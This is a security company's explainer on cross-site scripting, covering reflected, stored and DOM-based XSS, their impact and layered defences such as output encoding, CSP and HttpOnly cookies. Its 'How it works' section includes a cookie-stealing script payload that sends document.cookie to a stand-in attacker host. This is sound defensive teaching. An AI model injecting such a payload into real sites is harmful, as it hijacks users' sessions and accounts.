Web Security

Cross-Site Scripting (XSS), Explained

XSS is often dismissed as a pop-up alert box. In reality it runs attacker code in your users' browsers, with their session - which is how it turns into account takeover. Here is the honest version.

UUnnbugify Security Team January 14, 2026 9 min read High

Cross-Site Scripting (XSS) is a flaw where an application includes attacker-controlled data in a web page without properly neutralising it, so the victim's browser executes it as JavaScript. The malicious script runs in the victim's session, with everything that user can see and do.

How it works

A search page echoes your query back: You searched for: <query>. If it inserts the value without encoding, an attacker submits a script instead of a search term:

<script>fetch('https://evil.tld/s?c=' + document.cookie)</script>

The browser sees a real <script> tag in the page and runs it - shipping the victim's session cookie to the attacker. The demo is alert(1); the exploit is session theft.

The three types

  • Reflected XSS: the payload is in the request (a URL parameter) and reflected straight into the response. Delivered via a crafted link the victim clicks.
  • Stored XSS: the payload is saved server-side - a comment, profile name, support ticket - and served to everyone who views it. The most dangerous, because it needs no lure and can hit admins.
  • DOM-based XSS: the vulnerability is entirely in client-side JavaScript that writes untrusted data into the page (e.g. via innerHTML or location.hash). The server may never see the payload.

Stored XSS in an admin panel is a worst case: a low-privileged user plants a payload, an administrator opens the record, and the attacker inherits an admin session.

Why it is dangerous

  • Session hijacking - steal cookies or tokens and log in as the victim.
  • Account takeover - script the app's own API to change the victim's email or password.
  • Credential theft - inject a fake login form (phishing on a trusted origin).
  • Worming - self-propagating payloads that spread through social features.

How to prevent it

No single control is enough; layer them:

  1. Context-aware output encoding. Encode data for the exact place it lands - HTML body, attribute, JavaScript, or URL each need different encoding. This is the primary defence.
  2. Use a framework that auto-escapes. React, Angular, and Vue encode by default. The danger is the escape hatch - dangerouslySetInnerHTML, v-html, innerHTML.
  3. Content-Security-Policy (CSP). A strong policy blocks inline script and unknown origins, so even an injected payload will not run. A powerful second line of defence.
  4. Sanitise rich HTML with a vetted library (e.g. DOMPurify) when you must allow user formatting - never with your own regex.
  5. HttpOnly cookies so session cookies are not readable from JavaScript, blunting cookie theft.
// Dangerous - raw HTML injection
element.innerHTML = userInput;

// Safe - treated as text, never parsed as markup
element.textContent = userInput;

Blocklisting <script> does not work. XSS fires from onerror handlers, javascript: URLs, SVG, and dozens of other vectors. Encode on output; do not chase payloads.

Key takeaways

  • XSS runs attacker JavaScript in your users' authenticated sessions.
  • Stored XSS is worst - no lure, and it can reach admins.
  • Encode output for its context; let your framework auto-escape.
  • Add CSP and HttpOnly cookies as strong secondary defences.
Need professional assistance?

Unnbugify provides consent-based VAPT, red teaming, cloud and API security testing, and secure code review for organisations of every size.

Explore our services
U
Unnbugify Security Team
Offensive Security Research, Unnbugify Technologies

The Unnbugify team delivers VAPT, red teaming, and continuous security testing for organisations worldwide. We publish field notes from real engagements to help defenders stay ahead of attackers.